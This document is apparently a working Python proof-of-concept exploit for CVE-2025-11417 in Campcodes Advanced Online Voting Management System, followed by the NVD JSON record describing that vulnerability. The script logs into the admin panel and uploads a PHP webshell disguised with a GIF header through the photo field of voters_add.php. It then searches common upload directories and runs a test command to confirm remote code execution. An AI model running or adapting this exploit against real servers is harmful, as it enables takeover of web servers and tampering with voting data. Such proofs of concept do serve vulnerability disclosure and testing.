CVE-2025-11417

# CVE-2025-11417 PoC - Campcodes Advanced Online Voting Management System # Unrestricted File Upload via /admin/voters_add.php (photo parameter) import requests import sys from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" session = requests.Session() # Step 1: Login to the admin panel to obtain a valid session login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Prepare malicious PHP webshell payload disguised as an image # Using a GIF header to bypass naive content-type checks php_payload = b"GIF89a;\n<?php system($_GET['cmd']); ?>" upload_url = f"{TARGET_URL}/admin/voters_add.php" multipart_data = MultipartEncoder( fields={ "firstname": "test", "lastname": "test", "username": "voter_test", "password": "test123", "photo": ("shell.php", php_payload, "image/gif"), "add": "submit" } ) headers = { "Content-Type": multipart_data.content_type, "Referer": f"{TARGET_URL}/admin/voters_add.php" } # Step 3: Upload the malicious file print(f"[*] Uploading payload to {upload_url}") resp = session.post(upload_url, data=multipart_data, headers=headers) print(f"[*] Upload response status: {resp.status_code}") # Step 4: Try to access the uploaded webshell # Common upload directories in Campcodes voting system shell_paths = [ f"{TARGET_URL}/admin/uploads/shell.php", f"{TARGET_URL}/admin/upload/shell.php", f"{TARGET_URL}/admin/images/shell.php", f"{TARGET_URL}/uploads/shell.php", f"{TARGET_URL}/upload/shell.php", f"{TARGET_URL}/images/shell.php" ] for shell_url in shell_paths: print(f"[*] Checking shell at: {shell_url}") resp = session.get(shell_url, params={"cmd": "id"}) if resp.status_code == 200 and ("uid=" in resp.text or "www-data" in resp.text): print(f"[+] SUCCESS! Webshell is accessible at: {shell_url}") print(f"[+] Command output: {resp.text}") break else: print("[-] Could not locate uploaded shell. Check upload directory manually.")

{"cve": {"id": "CVE-2025-11417", "sourceIdentifier": "[email protected]", "published": "2025-10-08T00:15:32.827", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Campcodes Advanced Online Voting Management System 1.0. This vulnerability affects unknown code of the file /admin/voters_add.php. Executing manipulation of the argument photo can lead to unrestricted upload. The attack can be launched remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:campcodes:advanced_online_voting_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C9D45DEC-8B0D-4BC9-BAC8-D185783F570F"}]}]}], "references": [{"url": "https://github.com/hbesljx/vul/issues/4", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327353", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327353", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665597", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.campcodes.com/", "source": "[email protected]", "tags": ["Product"]}]}}